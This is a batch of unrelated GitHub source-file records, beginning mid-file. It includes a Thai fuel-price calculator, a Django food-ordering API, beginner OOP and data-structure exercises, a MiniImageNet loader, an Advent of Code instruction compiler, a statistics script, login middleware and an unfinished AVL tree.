\"2020\"):\n            op[oil.get(\"PRODUCT\")] = oil.get(\"PRICE\")\n            pn = (list(oil.values())[1:3])\n            ps = str(pn)\n        print(\"\" + \"#\" + (\" \" * int((w//2.5))) + '\\0337', end=\"\")\n        print(\" \" * int((w//1.70)) + \"#\" + '\\0338', end=\"\")\n        print(ps)\n    space_down()\n    space_up()\n    for y in oil_li:\n        a = y[\"name\"]+\"price: \"+\"%.2f\" % (y[\"price\"])\n        print(\"#\" + (\" \" * int((w // 2.5))) + '\\0337', end=\"\")\n        print(\" \" * int((w // 1.7)) + \"#\" + '\\0338', end=\"\")\n        print(a)\n    space_down()\n    canvas_1()\n    typ = int(input(\"Choose Type Oil: \"))\n    space_down()\n    canvas_1()\n    print(\"Function: 1.Money to Litre\\n\" + \"#\"+(\" \"*int(w//2.44) ) + \"2.Litre to Money\")\n    space_down() \n\n    canvas_1()\n    f = int(input(\" Choose Function: \"))\n    space_down()\n    # วนลูปการทำงานค่าน้ำมัน\n    if typ == 1:\n        if f == 1:\n            func_1(29.16)\n        else:\n            func_2(29.16)\n    elif typ == 2:\n        if f == 1:\n            func_1(25.30)\n        else:\n            func_2(25.30)\n    elif typ == 3:\n        if f == 1:\n            func_1(21.68)\n        else:\n            func_2(21.68)\n    elif typ == 4:\n        if f == 1:\n            func_1(20.2)\n        else:\n            func_2(20.2)\n    elif typ == 5:\n        if f == 1:\n            func_1(21.2)\n        else:\n            func_2(21.2)\n    else:\n        if f == 1:\n            func_1(21.1)\n        else:\n            func_2(21.1)\n\n\ndef func_1(i):\n    canvas_1()\n    money = float(input(\"Money (BAHT):\"))\n    print(\"#\" + (\" \" * int((w // 2.8))) + \" Oil = \", ' %.2f ' %\n          (money / i), 'Litre')\n    space_down()\n\n\ndef func_2(i):\n    canvas_1()\n    oil = float(input(\"OIL (Litre):\"))\n    print(\"#\" + (\" \" * int((w // 2.8))) + \" BAHT = \", ' %.2f ' %\n          (oil * i), 'BAHT')\n    space_down()\n\n\ndef space_up():    \n    print(\"#\"*int(w))\n    for can in range(2):\n        print(\"#\" + (\" \"*int(w-2)) + \"#\")\n\n\ndef space_down():    \n    for can in range(2):\n        print(\"#\" + (\" \"*int(w-2)) + \"#\")\n    print(\"#\"*int(w))\n\n\ndef canvas_1():\n    space_up()\n    print(\"#\" + (\" \" * int((w//2.5))) + '\\0337', end=\"\")\n    print(\" \" * int((w//1.7)) + \"#\" + '\\0338', end=\"\")\n\n\nwhile True:\n    a = str(input(\"Continue or Exit:\"))\n    if a == \"Exit\":\n        break\n    else:\n        func_main()","repo_name":"oomsinkup987/myFirstPythonHW","sub_path":"Assignment_oilstation5.py","file_name":"Assignment_oilstation5.py","file_ext":"py","file_size_in_byte":3531,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"6845698413","text":"from django.shortcuts import get_object_or_404\nfrom django.core.mail import send_mail\nfrom rest_framework import generics, status\nfrom rest_framework.permissions import IsAdminUser, AllowAny, BasePermission\nfrom rest_framework.response import Response\nfrom rest_framework.views import APIView\nfrom .serializers import (\n    FoodSerializer, TagSerializer, OptionalItemsSerializer, OrderedFoodSerializer,\n    FoodCartSerializer, DeliveryEntitySerializer, OngoingOrderSerializer,\n    CustomerSerializer, DeliveryPersonSerializer, LoginSerializer\n)\nfrom Orders.models import (\n    Food, Tag, OptionalItem, OrderedFood, FoodCart, OrderedOptionalItem, OngoingOrder,\n    DeliveryEntity\n)\nfrom rest_framework.permissions import IsAuthenticated\nfrom Orders.documents import FoodDocument\n\n\n# Create your views here.\n\nclass IsOwnerOrIPMixin(BasePermission):\n    def has_object_permission(self, request, view, obj):\n        if request.user.is_authenticated:\n            return obj.owner == request.user.customer\n        else:\n            ip_address = request.META.get('REMOTE_ADDR')\n            return obj.ip_address == ip_address\n\n\nclass FoodListAPIVIew(generics.ListAPIView):\n    queryset = Food.active_objects.all()\n    serializer_class = FoodSerializer\n\n\nclass DetailAPIView(generics.RetrieveAPIView):\n    serializer_class = FoodSerializer\n    queryset = Food.active_objects.all()\n    permission_classes = [AllowAny]\n\n    def get(self, request, *args, **kwargs):\n        return self.retrieve(request, *args, **kwargs)\n\n    def post(self, request, pk):\n        food = Food.objects.get(id=pk)\n        food_quantity = int(request.data.get('quantity'))\n        optional_items = []\n        optional_item_quantities = []\n        ip_address = request.META.get('REMOTE_ADDR')\n        for key, value in request.data.items():\n            if key.startswith('optional_item_'):\n                optional_item_id = key.split('_')[-1]\n                optional_item = OptionalItem.objects.get(id=optional_item_id)\n                optional_items.append(optional_item)\n                optional_item_quantities.append(int(value))\n\n        ordered_food_kwargs = {\n            'food': food,\n            'food_quantity': food_quantity,\n        }\n        if request.user.is_authenticated:\n            ordered_food_kwargs['user'] = request.user.customer\n        else:\n            ordered_food_kwargs['ip_address'] = ip_address\n\n        ordered_food = OrderedFood.objects.create(**ordered_food_kwargs)\n\n        for item, quantity in zip(optional_items, optional_item_quantities):\n            ordered_optional_item = OrderedOptionalItem.objects.create(\n                ordered_food=ordered_food,\n                optional_item=item,\n                quantity=quantity\n            )\n\n        if request.user.is_authenticated:\n            selected_cart = FoodCart.objects.filter(user=request.user.customer, is_checked_out=False).first()\n            if selected_cart is not None:\n                existing_ordered_food = selected_cart.ordered_food.filter(food=ordered_food.food).first()\n                if existing_ordered_food is not None:\n                    existing_ordered_food.food_quantity += ordered_food.food_quantity\n                    existing_ordered_optional_items = existing_ordered_food.get_ordered_optional_items()\n\n                    for ordered_optional_item in ordered_food.get_ordered_optional_items():\n                        existing_optional_item = existing_ordered_optional_items.filter(\n                            optional_item=ordered_optional_item.optional_item).first()\n                        if existing_optional_item is not None:\n                            existing_optional_item.quantity += ordered_optional_item.quantity\n                            existing_optional_item.save()\n                        else:\n                            existing_ordered_food.optional_items.add(ordered_optional_item.optional_item,\n                                                                     through_defaults={\n                                                                         'quantity': ordered_optional_item.quantity})\n                    existing_ordered_food.save()\n                    return Response({'message': f'{ordered_food} successfully added to your cart'},\n                                    status=status.HTTP_201_CREATED)\n\n                selected_cart.ordered_food.add(ordered_food)\n                return Response({'message': f'{ordered_food} successfully added'}, status=status.HTTP_201_CREATED)\n\n            new_cart = FoodCart.objects.create(user=request.user.customer)\n            new_cart.ordered_food.add(ordered_food)\n            new_cart.save()\n            return Response({'message': f'{ordered_food} successfully added to your cart'},\n                            status=status.HTTP_201_CREATED)\n        else:\n\n            selected_cart = FoodCart.objects.filter(ip_address=ip_address,\n                                                    is_checked_out=False).first()\n            if selected_cart is not None:\n                existing_ordered_food = selected_cart.ordered_food.filter(food=ordered_food.food).first()\n                print('yes', existing_ordered_food)\n                if existing_ordered_food is not None:\n                    existing_ordered_food.food_quantity += ordered_food.food_quantity\n                    existing_ordered_optional_items = existing_ordered_food.get_ordered_optional_items()\n                    for ordered_optional_item in ordered_food.get_ordered_optional_items():\n                        existing_optional_item = existing_ordered_optional_items.filter(\n                            optional_item=ordered_optional_item.optional_item).first()\n                        if existing_optional_item is not None:\n                            existing_optional_item.quantity += ordered_optional_item.quantity\n                            existing_optional_item.save()\n                        else:\n                            existing_ordered_food.optional_items.add(ordered_optional_item.optional_item,\n                                                                     through_defaults={\n                                                                         'quantity': ordered_optional_item.quantity})\n                    existing_ordered_food.save()\n                    return Response({'message': f'{ordered_food} successfully added to your cart'},\n                                    status=status.HTTP_201_CREATED)\n                else:\n                    selected_cart.ordered_food.add(ordered_food)\n                    return Response({'message': f'{ordered_food} successfully added to your cart'},\n                                    status=status.HTTP_201_CREATED)\n            else:\n                new_cart = FoodCart.objects.create(ip_address=ip_address)\n                new_cart.ordered_food.add(ordered_food)\n                new_cart.save()\n                return Response({'message': f'{ordered_food} successfully added to your cart'},\n                                status=status.HTTP_201_CREATED)\n\n\nclass FoodListCreateUpdateDeleteAPIView(generics.ListAPIView, generics.CreateAPIView, generics.UpdateAPIView,\n                                        generics.DestroyAPIView):\n    queryset = Food.objects.all()\n    serializer_class = FoodSerializer\n    permission_classes = [IsAdminUser]\n\n\nclass TagListAPIview(generics.ListAPIView):\n    queryset = Tag.objects.all()\n    serializer_class = TagSerializer\n    permission_classes = [IsAdminUser]\n\n\nclass TagDetailUpdateDeleteAPIView(generics.RetrieveUpdateDestroyAPIView):\n    queryset = Tag.objects.all()\n    serializer_class = TagSerializer\n    permission_classes = [IsAdminUser]\n\n\nclass OptionalItemListAPIView(generics.ListAPIView):\n    queryset = OptionalItem.objects.all()\n    serializer_class = OptionalItemsSerializer\n    permission_classes = [IsAdminUser]\n\n\nclass OptionalItemDetailUpdateDeleteAPIView(generics.RetrieveUpdateDestroyAPIView):\n    queryset = OptionalItem.objects.all()\n    serializer_class = OptionalItemsSerializer\n    permission_classes = [IsAdminUser]\n\n\nclass OrderedFoodCreateAPIView(generics.CreateAPIView):\n    queryset = OrderedFood.objects.all()\n    serializer_class = OrderedFoodSerializer\n\n    def perform_create(self, serializer):\n        if self.request.user.is_authenticated:\n            serializer.save(user=self.request.user)\n        else:\n            serializer.save(ip_address=self.request.META('REMOTE ADDRS', None))\n\n\nclass FoodCartAPIView(IsOwnerOrIPMixin, generics.RetrieveAPIView):\n    queryset = FoodCart.objects.all()\n    serializer_class = FoodCartSerializer\n\n    def get_object(self):\n        if self.request.user.is_authenticated:\n            user = self.request.user.customer\n            cart = FoodCart.objects.filter(user=user, is_checked_out=False).first()\n            print('user is authenticated')\n        else:\n            ip_address = self.request.META.get('REMOTE_ADDR')\n            cart = FoodCart.objects.filter(ip_address=ip_address, is_checked_out=False).first()\n            print('user is not authenticated')\n\n        if cart is None:\n            return Response({'message': \"Cart not found\"}, status=status.HTTP_404_NOT_FOUND)\n        return cart\n\n\nclass RemoveFoodCartItemAPIView(IsOwnerOrIPMixin, generics.DestroyAPIView):\n    queryset = OrderedFood.objects.all()\n    serializer_class = OrderedFoodSerializer\n\n    def delete(self, request, ordered_food_id):\n        ordered_food = get_object_or_404(OrderedFood, id=ordered_food_id)\n        ordered_food.delete()\n        return Response({'message': f'{ordered_food} has been removed'}, status=status.HTTP_200_OK)\n\n\nclass PlaceFoodOrderAPIView(IsOwnerOrIPMixin, generics.CreateAPIView):\n    queryset = DeliveryEntity.objects.all()\n    serializer_class = DeliveryEntitySerializer\n\n    def perform_create(self, serializer):\n        food_cart = get_object_or_404(FoodCart, id=self.kwargs.get('food_cart_id'))\n        if self.request.user.is_authenticated:\n            owner = self.request.user.customer\n            phone_number = self.request.user.phone_number\n            address = self.request.user.address\n            ip_address = None\n        else:\n            owner = None\n            ip_address = self.request.META.get('REMOTE_ADDR')\n        data = {'food_cart': food_cart, 'owner': owner, 'address': address, 'phone_number': phone_number,\n                'ip_address': ip_address, 'is_active': True}\n        food_cart.is_checked_out = True\n        food_cart.save()\n        serializer.save(**data)\n        return Response({'message': \"Order has been placed successfully\"}, status=status.HTTP_201_CREATED)\n\n\nclass UserDashboardAPIView(IsOwnerOrIPMixin, generics.RetrieveAPIView):\n    serializer_class = DeliveryEntitySerializer\n\n    def get_object(self):\n        if self.request.user.is_authenticated:\n            return DeliveryEntity.objects.filter(owner=self.request.user.customer, is_active=True).first()\n        else:\n            return DeliveryEntity.objects.filter(ip_address=self.request.META.get('REMOTE_ADDR'),\n                                                 is_active=True).first()\n\n    def retrieve(self, request, *args, **kwargs):\n        instance = self.get_object()\n        serializer = self.get_serializer(instance)\n        return Response(serializer.data)\n\n\nclass UserAcceptDeliveryAPIView(IsOwnerOrIPMixin, generics.UpdateAPIView):\n    queryset = DeliveryEntity.objects.all()\n    serializer_class = DeliveryEntitySerializer\n    lookup_field = 'pk'\n\n    def update(self, request, *args, **kwargs):\n        delivery_entity = self.get_object()\n        if delivery_entity.is_accepted and delivery_entity.ongoing_status:\n            delivery_entity.accept_delivery = True\n            delivery_entity.is_active = False\n            delivery_entity.save()\n            response_data = {'message': ' You have accepted the delivery'}\n            return Response(response_data, status=status.HTTP_200_OK)\n        else:\n            response_data = {'message': 'You can not accept delivery at this time'}\n            return Response(response_data, status=status.HTTP_404_NOT_FOUND)\n\n\nclass AdminAcceptOrderAPIView(generics.UpdateAPIView):\n    queryset = DeliveryEntity\n    serializer_class = DeliveryEntitySerializer\n    lookup_field = 'pk'\n    permission_classes = [IsAdminUser]\n\n    def update(self, request, *args, **kwargs):\n        delivery_entity = self.get_object()\n        delivery_entity.is_accepted = True\n        delivery_entity.ongoing_status = True\n        delivery_entity.save()\n        response_data = {'message': 'You have accepted this order, delivery status is: ongoing'}\n        return Response(response_data, status=status.HTTP_200_OK)\n\n\nclass DeliveryEntityDetailAPIView(generics.RetrieveAPIView):\n    queryset = DeliveryEntity.objects.all()\n    serializer_class = DeliveryEntitySerializer\n\n\nclass OngoingOrderListAPIView(generics.ListAPIView):\n    queryset = OngoingOrder.objects.all()\n    serializer_class = OngoingOrderSerializer\n    permission_classes = [IsAdminUser]\n\n\nclass OngoingOrderDetailAPIView(generics.RetrieveAPIView):\n    queryset = OngoingOrder.objects.all()\n    serializer_class = OngoingOrderSerializer\n    permission_classes = [IsAdminUser]\n\n\nclass CancelOngoingOrderAPIView(generics.UpdateAPIView):\n    queryset = OngoingOrder.objects.all()\n    serializer_class = OngoingOrderSerializer\n    permission_classes = [IsAdminUser]\n\n    def update(self, request, *args, **kwargs):\n        ongoing_order = self.get_object()\n        cancel_reason = request.data.get('cancel_reason', '')\n\n        if cancel_reason:\n            ongoing_order.cancel(cancel_reason)\n            subject = 'Your ongoing Food order With tao Kitchen has been cancelled'\n            message = f'Your ongoing Food order with ID {ongoing_order.id} has been cancelled for {cancel_reason}'\n            from_email = 'otutaiwo1@gmail.com'\n            recipient_list = [ongoing_order.delivery_entity.owner.user.email]\n            send_mail(subject, message, from_email, recipient_list)\n\n            ongoing_order.delivery_entity.ongoing_status = False\n            ongoing_order.delivery_entity.save()\n\n            serializer = self.get_serializer(ongoing_order)\n            return Response(serializer.data, status=status.HTTP_200_OK)\n        else:\n            return Response({'error': 'Please select a cancel reason.'}, status=status.HTTP_404_NOT_FOUND)\n\n\nclass CustomerRegistrationAPIView(APIView):\n    def post(self, request):\n        serializer = CustomerSerializer(data=request.data)\n        if serializer.is_valid():\n            customer = serializer.save()\n            response_data = {\n                'message': 'Customer account created successfully',\n                'customer_id': customer.id\n            }\n            return Response(response_data, status=status.HTTP_201_CREATED)\n        return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n\nclass DeliveryPersonCreateAccountAPIView(APIView):\n    def post(self, request):\n        serializer = DeliveryPersonSerializer(data=request.data)\n        if serializer.is_valid():\n            delivery_person = serializer.save()\n            return Response(serializer.data, status=status.HTTP_201_CREATED)\n        return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n\nclass CustomerLoginAPIView(generics.CreateAPIView):\n    serializer_class = LoginSerializer\n\n    def create(self, request, *args, **kwargs):\n        serializer = self.get_serializer(data=request.data)\n        if serializer.is_valid():\n            return Response(serializer.validated_data, status=status.HTTP_200_OK)\n        return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n\nclass CustomerDetailsUpdateAPIView(generics.UpdateAPIView):\n    serializer_class = CustomerSerializer\n    permission_classes = [IsAuthenticated]\n\n    def get_object(self):\n        return self.request.user.customer\n\n    def perform_update(self, serializer):\n        serializer.save()\n\n\nclass FoodSearchAPIView(APIView):\n    def get(self, request):\n        search_query = request.GET.get('search_query')\n        if search_query:\n            search = FoodDocument.search().query(\"match\", name=search_query)\n            results = search.execute()\n            food_ids = [hit.meta.id for hit in results]\n            foods = Food.active_objects.filter(id__in=food_ids)\n            if foods:\n                serialized_foods = FoodSerializer(foods, many=True, context={'request': request})\n                return Response(serialized_foods.data)\n            else:\n                response_data = {'message': 'No food with this name is found'}\n                return Response(response_data, status=status.HTTP_404_NOT_FOUND)\n        response_data = {'message': 'Please provide a search query'}\n        return Response(response_data, status=status.HTTP_400_BAD_REQUEST)","repo_name":"Taofeeq97/FODS","sub_path":"api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":16861,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"19582420668","text":"#!/usr/bin/env python\n# -*- encoding: utf-8 -*-\n'''\n@File    :   object_oriented_basic_demo02.py\n@Contact :   wangdamar@gmail.com\n@License :   GPL v3\n\n@Modify Time      @Author    @Version    @Desciption\n------------      -------    --------    -----------\n2020/10/11 9:53   banxian      1.0         None\n'''\n\n'''\n定义一个天山童姥类 ，类名为TongLao，属性有血量，武力值（通过传入的参数得到）。TongLao类里面有2个方法，\nsee_people方法，需要传入一个name参数，如果传入”WYZ”（无崖子），则打印，“师弟！！！！”，如果传入“李秋水”，打印“呸，贱人”，如果传入“丁春秋”，打印“叛徒！我杀了你”\nfight_zms方法（天山折梅手），调用天山折梅手方法会将自己的武力值提升10倍，血量缩减2倍。需要传入敌人的hp，power，进行一回合制对打，打完之后，比较双方血量。血多的一方获胜。\n\n定义一个XuZhu类，继承于童姥。虚竹宅心仁厚不想打架。所以虚竹只有一个read（念经）的方法。每次调用都会打印“罪过罪过”\n加入模块化改造\n'''\n\nclass TongLao(object):\n    def __init__(self,hp,power):\n        self.hp = hp\n        self.power = power\n    def see_people(self,name):\n        if(name == \"WYZ\"):\n            print(\"师弟！！！！\")\n        if(name == \"LQS\"):\n            print(\"呸，贱人\")\n        if(name == \"DCQ\"):\n            print(\"叛徒！我杀了你\")\n    def fight_zms(self,enemy_hp,enemy_power):\n        self.hp /= 2\n        self.power *= 2\n        self.hp -= enemy_power\n        enemy_hp -= self.power\n        if(self.hp > enemy_hp):\n            print(\"I win\")\n        elif(self.hp < enemy_hp):\n            print(\"I lose\")\n        else:\n            print(\"nobody win\")\n\nclass XuZhu(TongLao):\n    def read(self):\n        print(\"罪过罪过\")\n\nif __name__ == '__main__':\n    tl = TongLao(200,5000)\n    xz = XuZhu(3000,10)\n    tl.see_people(\"LQS\")\n    xz.read()","repo_name":"3sforbed/python","sub_path":"python_test_learning/python_basic_learn/python_class_basic_learn/python_object-oriented_basic_demo/object_oriented_basic_demo02.py","file_name":"object_oriented_basic_demo02.py","file_ext":"py","file_size_in_byte":1994,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"38959625758","text":"import os\nimport torch\nfrom torch.utils.data import Dataset\nfrom torchvision.transforms import transforms\nimport numpy as np\nimport collections\nfrom PIL import Image\nimport csv\nimport random\n\ndataNumpies = {}\n\nclass MiniImagenetNP(Dataset):\n    \"\"\"\n    put mini-imagenet files as :\n    root :\n        |- train.npy\n        |- test.npy\n        |- val.npy\n    NOTICE: meta-learning is different from general supervised learning, especially the concept of batch and set.\n    batch: contains several sets\n    sets: conains n_way * k_shot for meta-train set, n_way * n_query for meta-test set.\n    \"\"\"\n\n    def __init__(self, root, mode, transform):\n        \"\"\"\n\n        :param root: root path of mini-imagenet\n        :param mode: train, val or test\n        :param resize: resize to\n        \"\"\"\n        global dataNumpies\n        self.mode = mode\n        self.transform = transform\n        print (root, mode)\n        if mode not in dataNumpies:\n            path = os.path.join(root, mode + \".npy\")  # image path\n            dictionary = np.load(path, allow_pickle=True).item()\n            dataNumpies[mode] = list(dictionary.values())\n\n        self.elements_per_class = len(dataNumpies[mode][0])\n        self.active_classes = list(range(len(dataNumpies[mode])))\n\n        print(\"Total classes = \", len(self.active_classes))\n\n\n    def __getitem__(self, index):\n        \"\"\"\n        index means index of sets, 0<= index <= batchsz-1\n        :param index:\n        :return:\n\n        \"\"\"\n        outer_index = int(index/self.elements_per_class)\n        inner_index = index%self.elements_per_class\n        \n        label = self.active_classes[outer_index]\n        image = dataNumpies[self.mode][label][inner_index]\n        image = self.transform(image)\n        return image, label\n\n    def __len__(self):\n      return len(self.active_classes) * self.elements_per_class\n\n\nif __name__ == '__main__':\n  mini = MiniImagenet('/content/MiniImageNet_dataset/', mode='val', resize=84)\n  data = next(iter(mini))\n\n","repo_name":"aminbana/GeMCL","sub_path":"code/datasets/miniimagenet/MiniImgNetNP.py","file_name":"MiniImgNetNP.py","file_ext":"py","file_size_in_byte":1991,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"35"}
{"seq_id":"42739086522","text":"import logging\nimport re\nimport sys\nfrom io import StringIO\nfrom types import ModuleType\nfrom typing import Callable, List, TextIO, Tuple\n\nfrom ..io_utils import get_lines\n\nlogger = logging.getLogger(__name__)\nVAR = r\"(w|x|y|z)\"\nINT = r\"(\\-?\\d+)\"\nVAR_OR_INT = rf\"({VAR}|{INT})\"\n\nINSTRUCTIONS: List[Tuple[str, str]] = [\n    (rf\"^inp (?P<a>{VAR})$\", \"{a} = inputs.pop(0)\"),\n    (rf\"^add (?P<a>{VAR}) (?P<b>{VAR_OR_INT})$\", \"{a} += {b}\"),\n    (rf\"^mul (?P<a>{VAR}) (?P<b>{VAR_OR_INT})$\", \"{a} *= {b}\"),\n    (rf\"^div (?P<a>{VAR}) (?P<b>{VAR_OR_INT})$\", \"{a} //= {b}\"),\n    (rf\"^mod (?P<a>{VAR}) (?P<b>{VAR_OR_INT})$\", \"{a} %= {b}\"),\n    (rf\"^eql (?P<a>{VAR}) (?P<b>{VAR_OR_INT})$\", \"{a} = int({a} == {b})\"),\n]\n\n\ndef parse_line(line: str) -> str:\n    for pattern, format_string in INSTRUCTIONS:\n        match = re.match(pattern, line)\n        if match is not None:\n            break\n    else:\n        raise AssertionError(f\"Line not matched {line!r}\")\n    return format_string.format(**match.groupdict())\n\n\ndef parse_program(buf: StringIO, input: TextIO) -> None:\n    for line in get_lines(input):\n        code = parse_line(line)\n        buf.write(f\"    {code}\\n\")\n\n\ndef convert_to_python(input: TextIO) -> str:\n    buf = StringIO()\n    buf.write(\"from typing import List, Tuple\\n\")\n    buf.write(\"\\n\")\n    buf.write(\"def program(inputs: List[int]) -> Tuple[int, int, int, int]:\\n\")\n    buf.write(\"    w = x = y = z = 0\\n\")\n    parse_program(buf, input)\n    buf.write(\"    return w, x, y, z\\n\")\n    return buf.getvalue()\n\n\ndef compile_program(input: TextIO) -> Callable[[List[int]], Tuple[int, int, int, int]]:\n    module_name = \"fake\"\n    python_text = convert_to_python(input)\n    logger.debug(\"Python code:\\n%s\", python_text)\n    code = compile(python_text, \"<string>\", \"exec\")\n    module = ModuleType(module_name)\n    exec(code, module.__dict__)\n    sys.modules[module_name] = module\n    program: Callable[[List[int]], Tuple[int, int, int, int]] = getattr(\n        module, \"program\"\n    )\n    return program\n","repo_name":"kurazu/advent_of_code_2021","sub_path":"advent/day_24/parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":2007,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"30430870470","text":"class Stack:\n    def __init__(self):\n        self.stack = []\n\n    def push(self, data):\n        self.stack.append(data)\n\n    def pop(self):\n        if self.stack:\n            return self.stack.pop()\n\n\n\"\"\"\nInput {'key1': 'value1', 'key2': [1, 2, 3], 'key3': (1, 2, 3)} -> True\nInput {'key1': ['value1', 'key2': [1, 2, 3], 'key3': (1, 2, 3)} -> False\n\"\"\"\n\n\ndef validate_format(chars: str) -> bool:\n    lookup = {'{': '}', '(': ')', '[': ']'}\n    stack = []\n    for char in chars:\n        if char in lookup.keys():\n            stack.append(lookup[char])\n        elif char in lookup.values():\n            if not stack:\n                return False\n            if char != stack.pop():\n                return False\n\n    if stack:\n        return False\n\n    return True\n\n\nclass Queue:\n    def __init__(self):\n        self.queue = []\n\n    def enqueue(self, data):\n        self.queue.append(data)\n\n    def dequeue(self):\n        \"\"\"\n        先頭から取り出す\n        \"\"\"\n        self.queue.pop(0)\n\n    def reverse(self):\n        new_queue = []\n        while self.queue:\n            new_queue.append(self.queue.pop())\n        self.queue = new_queue\n\n\nq = Queue()\nq.enqueue(1)\nq.enqueue(2)\nq.enqueue(3)\nq.reverse()\nq.dequeue()\n","repo_name":"hyde2000/algorithm-and-data-structure","sub_path":"stack_queue.py","file_name":"stack_queue.py","file_ext":"py","file_size_in_byte":1222,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"18234520845","text":"\"\"\"Mediciones para el tiempo de Secado en horas de una marca de pintura esmaltada\n    a)Tamaño de la muestra\n    b)Media\n    c)Mediana \n    d)Grafica de los datos \n    e)Media Recortada al 20%\n    f)Que representa mejor los datos Media muestral o Media Recortada \"\"\"\n\nfrom location_measures import average, mediana, average_recort\nfrom bokeh.plotting import figure, output_file, show\n\ndef grafic(measure):\n    output_file = ('variance-standard_deviation-Exercise1.1.html')\n    fig = figure()\n    \n    x_vals = list(measure)\n    y_vals = 0\n    fig.dot(x_vals, y_vals, size = 20)\n    show(fig)\n\ndef main(measure):\n    return len(measure)\n\nif __name__ == \"__main__\":\n    measure = [3.4, 2.5, 4.8, 2.9, 3.6, 2.8, 3.3, 5.6, 3.7, 2.8, 4.4, 4.0, 5.2, 3.0, 4.8]\n\n    print(f'The measuraments are: {measure}')\n    #a)\n    print(f'The size of the sample is: {main(measure)}')\n    #b)\n    print(f'The average is: {average(measure)}')\n    #c\n    print(f'The median is: {mediana(measure)}')\n    #d\n    grafic(measure)\n    #e\n    print(f\"The media recort is: {average_recort(measure)}\")\n","repo_name":"ceronlvictor/Probability_Statistics","sub_path":"variance-standard_deviation-Exercise1-1.py","file_name":"variance-standard_deviation-Exercise1-1.py","file_ext":"py","file_size_in_byte":1074,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"7453458065","text":"from datetime import timedelta as td, datetime\n\nfrom django.utils import timezone\nfrom django.db.models.expressions import F\n\nfrom config.settings import LAST_ACTIVITY_INTERVAL\nfrom users.models import Profile\nfrom users.constants import MAXIMUM_DAY\n\n\ndef last_user_activity_middleware(get_response):\n\n    def middleware(request):\n\n        response = get_response(request)\n\n        expected_entry_date = datetime.today().date() - td(seconds=LAST_ACTIVITY_INTERVAL)\n\n        if request.user.is_authenticated and request.user.profile.last_login == expected_entry_date:\n            Profile.objects.filter(pk=request.user.pk).update(last_login=timezone.now(), login_in_row=F('login_in_row') + 1)\n            request.user.refresh_from_db()\n            if request.user.profile.login_in_row == MAXIMUM_DAY:\n                request.user.profile.login_in_row = 0\n                request.user.refresh_from_db()\n        elif request.user.is_authenticated and request.user.profile.last_login < expected_entry_date:\n            request.user.profile.login_in_row = 0\n            request.user.refresh_from_db()\n\n        return response\n\n    return middleware\n","repo_name":"Imunuel/dungeon","sub_path":"dungeon-main/backend_api/users/middleware.py","file_name":"middleware.py","file_ext":"py","file_size_in_byte":1144,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"32069699259","text":"import operator\n\n\nclass AVLNode():\n    def __init__(self, val, key=operator.lt, left=None, right=None):\n        self.val = val\n        self.key = key\n        # enforce that the key is an invariant of the tree\n        for subroot in [x for x in (left, right) if x]:\n            assert subroot.key == key\n\n        # now assert the key behaves as expected\n        if left:\n            assert not key(left.val, val)\n        if right:\n            assert key(right.val, val)\n\n        self.left, self.right = left, right\n\n        self.left = left\n        self.right = right\n\n        # this is bothersome. is there a better way of doing this?\n        if left:\n            if right:\n                self.height = 1 + max(left.height, right.height)\n            else:\n                self.height = 1 + left.height\n        elif right:\n            self.height = 1 + right.height\n        else:\n            self.height = 0\n\n        # an assumption I'm making here is that we don't need to rebalance\n        # our left and right subtrees\n        # but in case that assumption is scary:\n        # self.maybe_rebalance()\n\n    def insert(self, newval):\n        if self.key(newval, self.val):\n            if self.right:\n                self.right.insert(newval)\n                self.height = max(\n                    self.height,\n                    self.right.height + 1)\n            else:\n                # propagate the key\n                self.right = AVLNode(newval, key=self.key)\n                # this preserves the height unless self was previously a leaf\n                self.height = max(self.height, 1)\n        else:\n            # this can be bumped up above\n            # while preserving correctness.\n            # I'm going to leave it as is.\n            if self.left:\n                self.left.insert(newval)\n                self.height = max(\n                    self.height,\n                    self.left.height + 1)\n            else:\n                self.left = AVLNode(newval, key=self.key)\n                self.height = max(self.height, 1)\n        self.maybe_rebalance()\n\n    def get_balance(self):\n        # if a subtree is none we don't attempt\n        # to get the height, which avoids attr error\n        # this is... incorrect.\n        # if self.left is None the left subtree has a height\n        # of -1\n        if self.left:\n            cands.append(self.left.height)\n        return (self.left and self.left.height or 0 -\n                self.right and self.right.height or 0)\n\n    def maybe_rebalance(self):\n        balance = self.get_balance()\n        if balance == -2:\n            # the right tree is heavier\n            # further we are guaranteed that there is an AVLNode\n            # on the right. (so we can right balance)\n            self.right_balance()\n        elif balance == 2:\n            self.left_balance()\n        elif balance not in range(-1, 2):\n            # can we fix this?\n            raise ValueError(\"This node is broken: \", self)\n\n    # neither of these are right\n    # take a break, come back, and address the situations\n    # of when and how to rotate a subtree.\n    def left_balance(self):\n        if self.left and self.left.get_balance() > -1:\n            self.left.right_rotate()\n        self.right_rotate()\n\n    def right_balance(self):\n        if self.right and self.right.get_balance() < 1:\n            self.right.left_rotate()\n        self.right_rotate()\n\n    # these are correct.\n    def left_rotate(self):\n        self.left = AVLNode(\n            self.val,\n            left=self.left,\n            right=self.right.left)\n        self.val = self.right.val\n        self.right = self.right.right\n\n    def right_rotate(self):\n        self.right = AVLNode(\n            self.val,\n            left=self.left.right,\n            right=self.right)\n        self.val = self.left.val\n        self.left = self.left.left\n","repo_name":"ajarara/python-junk","sub_path":"junk/avl_tree.py","file_name":"avl_tree.py","file_ext":"py","file_size_in_byte":3848,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
